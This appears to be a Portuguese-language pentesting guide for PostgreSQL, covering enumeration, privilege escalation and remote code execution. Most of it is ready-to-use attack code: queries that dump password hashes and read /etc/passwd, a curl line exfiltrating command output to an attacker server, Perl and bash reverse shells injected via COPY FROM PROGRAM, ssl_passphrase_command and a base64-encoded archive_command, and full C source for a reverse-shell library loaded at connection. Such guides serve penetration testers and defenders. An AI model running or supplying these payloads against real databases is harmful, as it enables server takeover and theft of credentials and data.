5432,5433 - Pentesting Postgresql

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Informações Básicas

PostgreSQL é descrito como um sistema de banco de dados objeto-relacional que é open source. Este sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla gama de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.

Porta padrão: 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433) que não está em uso.

PORT     STATE SERVICE
5432/tcp open  pgsql

Conectar e Enumeração Básica

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Se ao executar \list você encontrar um banco de dados chamado rdsadmin, você sabe que está dentro de um banco de dados postgresql da AWS.

Para mais informações sobre como abusar de um banco de dados PostgreSQL, consulte:

PostgreSQL injection

Enumeração Automática

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Força bruta

Escaneamento de portas

De acordo com esta pesquisa, quando uma tentativa de conexão falha, dblink lança uma exceção sqlclient_unable_to_establish_sqlconnection incluindo uma explicação do erro. Exemplos desses detalhes estão listados abaixo.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• O host está fora do ar

DETAIL: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?

• A porta está fechada

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• A porta está aberta

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

ou

DETAIL:  FATAL:  password authentication failed for user "name"

• A porta está aberta ou filtrada

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, pode recuperar as informações necessárias. Se extrair nomes de usuários e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de wordlist discutido na seção anterior, pois isso pode potencialmente gerar resultados positivos.

Enumeração de Privilégios

Funções

Tipos de Função
rolsuper	A função tem privilégios de superusuário
rolinherit	A função herda automaticamente os privilégios das funções das quais é membro
rolcreaterole	A função pode criar mais funções
rolcreatedb	A função pode criar bancos de dados
rolcanlogin	A função pode fazer login. Ou seja, essa função pode ser dada como o identificador de autorização da sessão inicial
rolreplication	A função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e remover slots de replicação.
rolconnlimit	Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite.
rolpassword	Não é a senha (sempre é lido como ********)
rolvaliduntil	Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração
rolbypassrls	A função ignora todas as políticas de segurança em nível de linha, veja Seção 5.8 para mais informações.
rolconfig	Padrões específicos da função para variáveis de configuração em tempo de execução
oid	ID da função

Grupos Interessantes

• Se você é membro de pg_execute_server_program você pode executar programas

• Se você é membro de pg_read_server_files você pode ler arquivos

• Se você é membro de pg_write_server_files você pode escrever arquivos

Observe que no Postgres um usuário, um grupo e uma função são a mesma coisa. Depende apenas de como você usa e se você permite que faça login.

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tabelas

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Funções

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Ações do sistema de arquivos

Ler diretórios e arquivos

A partir deste commit , membros do grupo definido DEFAULT_ROLE_READ_SERVER_FILES (chamado pg_read_server_files) e super usuários podem usar o método COPY em qualquer caminho (verifique convert_and_check_filename em genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Lembre-se de que se você não for superusuário, mas tiver as permissões CREATEROLE, você pode se tornar membro desse grupo:

GRANT pg_read_server_files TO username;

Mais informações.

Existem outras funções do postgres que podem ser usadas para ler arquivos ou listar um diretório. Apenas superusuários e usuários com permissões explícitas podem usá-las:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Você pode encontrar mais funções em https://www.postgresql.org/docs/current/functions-admin.html

Escrita Simples de Arquivo

Apenas super usuários e membros de pg_write_server_files podem usar copy para escrever arquivos.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Lembre-se de que se você não for superusuário, mas tiver as permissões CREATEROLE, você pode se tornar membro desse grupo:

GRANT pg_write_server_files TO username;

Mais informações.

Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo que você esteja usando um payload em base64, você precisa enviar uma única linha. Uma limitação muito importante dessa técnica é que copy não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.

Upload de arquivos binários

No entanto, existem outras técnicas para fazer upload de grandes arquivos binários:

Big Binary Files Upload (PostgreSQL)

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Atualizando dados da tabela PostgreSQL via gravação de arquivo local

Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, pode atualizar qualquer tabela no servidor substituindo o nó de arquivo associado no diretório de dados do PostgreSQL. Mais sobre essa técnica aqui.

Passos necessários:

1. Obtenha o diretório de dados do PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Nota: Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, pode consultar a versão principal do PostgreSQL através da consulta SELECT version() e tentar forçar o caminho. Caminhos comuns do diretório de dados em instalações Unix do PostgreSQL são /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Um nome de cluster comum é main. 2. Obtenha um caminho relativo para o filenode, associado à tabela alvo

SELECT pg_relation_filepath('{TABLE_NAME}')

Essa consulta deve retornar algo como base/3/1337. O caminho completo no disco será $DATA_DIRECTORY/base/3/1337, ou seja, /var/lib/postgresql/13/main/base/3/1337. 3. Baixe o filenode através das funções lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. Obtenha o tipo de dado, associado à tabela alvo

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. Use o Editor de Filenode do PostgreSQL para editar o filenode; defina todas as flags booleanas rol* para 1 para permissões totais.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (Opcional) Limpe o cache da tabela em memória executando uma consulta SQL cara

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. Agora você deve ver os valores da tabela atualizados no PostgreSQL.

Você também pode se tornar um superadmin editando a tabela pg_authid. Veja a seção seguinte.

RCE

RCE para programa

Desde a versão 9.3, apenas super usuários e membros do grupo pg_execute_server_program podem usar copy para RCE (exemplo com exfiltração:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Exemplo para exec:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Lembre-se de que se você não for superusuário, mas tiver as permissões CREATEROLE, você pode se tornar membro desse grupo:

GRANT pg_execute_server_program TO username;

Mais informações.

Ou use o módulo multi/postgres/postgres_copy_from_program_cmd_exec do metasploit. Mais informações sobre essa vulnerabilidade aqui. Embora tenha sido relatada como CVE-2019-9193, o Postgres declarou que isso era uma característica e não será corrigido.

RCE com Linguagens PostgreSQL

RCE with PostgreSQL Languages

RCE com extensões PostgreSQL

Uma vez que você tenha aprendido no post anterior como fazer upload de arquivos binários, você pode tentar obter RCE fazendo upload de uma extensão postgresql e carregando-a.

RCE with PostgreSQL Extensions

RCE com arquivo de configuração do PostgreSQL

Os seguintes vetores de RCE são especialmente úteis em contextos SQLi restritos, pois todos os passos podem ser realizados através de instruções SELECT aninhadas.

O arquivo de configuração do PostgreSQL é gravável pelo usuário postgres, que é quem executa o banco de dados, então como superusuário, você pode escrever arquivos no sistema de arquivos e, portanto, pode sobrescrever este arquivo.

RCE com ssl_passphrase_command

Mais informações sobre esta técnica aqui.

O arquivo de configuração tem alguns atributos interessantes que podem levar a RCE:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Caminho para a chave privada do banco de dados

• ssl_passphrase_command = '' Se o arquivo privado estiver protegido por senha (criptografado), o postgresql executará o comando indicado neste atributo.

• ssl_passphrase_command_supports_reload = off Se este atributo estiver ativado, o comando executado se a chave estiver protegida por senha será executado quando pg_reload_conf() for executado.

Então, um atacante precisará:

1. Extrair a chave privada do servidor

2. Criptografar a chave privada baixada:

3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key

4. Sobrescrever

5. Extrair a configuração atual do postgresql

6. Sobrescrever a configuração com os atributos mencionados:

7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'

8. ssl_passphrase_command_supports_reload = on

9. Execute pg_reload_conf()

Ao testar isso, percebi que isso só funcionará se o arquivo da chave privada tiver permissões 640, for possuído por root e pelo grupo ssl-cert ou postgres (para que o usuário postgres possa lê-lo), e estiver localizado em /var/lib/postgresql/12/main.

RCE com archive_command

Mais informações sobre esta configuração e sobre WAL aqui.

Outro atributo no arquivo de configuração que é explorável é archive_command.

Para que isso funcione, a configuração archive_mode deve ser 'on' ou 'always'. Se isso for verdade, então poderíamos sobrescrever o comando em archive_command e forçá-lo a ser executado através das operações WAL (write-ahead logging).

Os passos gerais são:

1. Verifique se o modo de arquivamento está ativado: SELECT current_setting('archive_mode')

2. Sobrescreva archive_command com o payload. Por exemplo, um shell reverso: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'

3. Recarregue a configuração: SELECT pg_reload_conf()

4. Force a operação WAL a ser executada, o que chamará o comando de arquivamento: SELECT pg_switch_wal() ou SELECT pg_switch_xlog() para algumas versões do Postgres

RCE com bibliotecas de pré-carregamento

Mais informações sobre esta técnica aqui.

Este vetor de ataque aproveita as seguintes variáveis de configuração:

• session_preload_libraries -- bibliotecas que serão carregadas pelo servidor PostgreSQL na conexão do cliente.

• dynamic_library_path -- lista de diretórios onde o servidor PostgreSQL procurará as bibliotecas.

Podemos definir o valor de dynamic_library_path para um diretório, gravável pelo usuário postgres que executa o banco de dados, por exemplo, o diretório /tmp/, e fazer upload de um objeto malicioso .so lá. Em seguida, forçaremos o servidor PostgreSQL a carregar nossa biblioteca recém-carregada, incluindo-a na variável session_preload_libraries.

Os passos do ataque são:

1. Baixe o postgresql.conf original

2. Inclua o diretório /tmp/ no valor de dynamic_library_path, por exemplo, dynamic_library_path = '/tmp:$libdir'

3. Inclua o nome da biblioteca maliciosa no valor de session_preload_libraries, por exemplo, session_preload_libraries = 'payload.so'

4. Verifique a versão principal do PostgreSQL através da consulta SELECT version()

5. Compile o código da biblioteca maliciosa com o pacote de desenvolvimento correto do PostgreSQL. Código de exemplo:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
código retirado de https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compilando o código:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Faça upload do postgresql.conf malicioso, criado nos passos 2-3, e sobrescreva o original

7. Faça upload do payload.so do passo 5 para o diretório /tmp

8. Recarregue a configuração do servidor reiniciando o servidor ou invocando a consulta SELECT pg_reload_conf()

9. Na próxima conexão ao DB, você receberá a conexão do shell reverso.

Postgres Privesc

Privesc CREATEROLE

Conceder

De acordo com a documentação: Funções que têm o privilégio CREATEROLE podem conceder ou revogar a filiação em qualquer função que não seja um superusuário.

Portanto, se você tiver permissão CREATEROLE, poderá conceder a si mesmo acesso a outras funções (que não são superusuário) que podem lhe dar a opção de ler e escrever arquivos e executar comandos:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modificar Senha

Usuários com este papel também podem mudar as senhas de outros não-superusuários:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc para SUPERUSER

É bastante comum encontrar que usuários locais podem fazer login no PostgreSQL sem fornecer nenhuma senha. Portanto, uma vez que você tenha reunido permissões para executar código, você pode abusar dessas permissões para conceder a você o papel de SUPERUSER:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Isso geralmente é possível por causa das seguintes linhas no arquivo pg_hba.conf: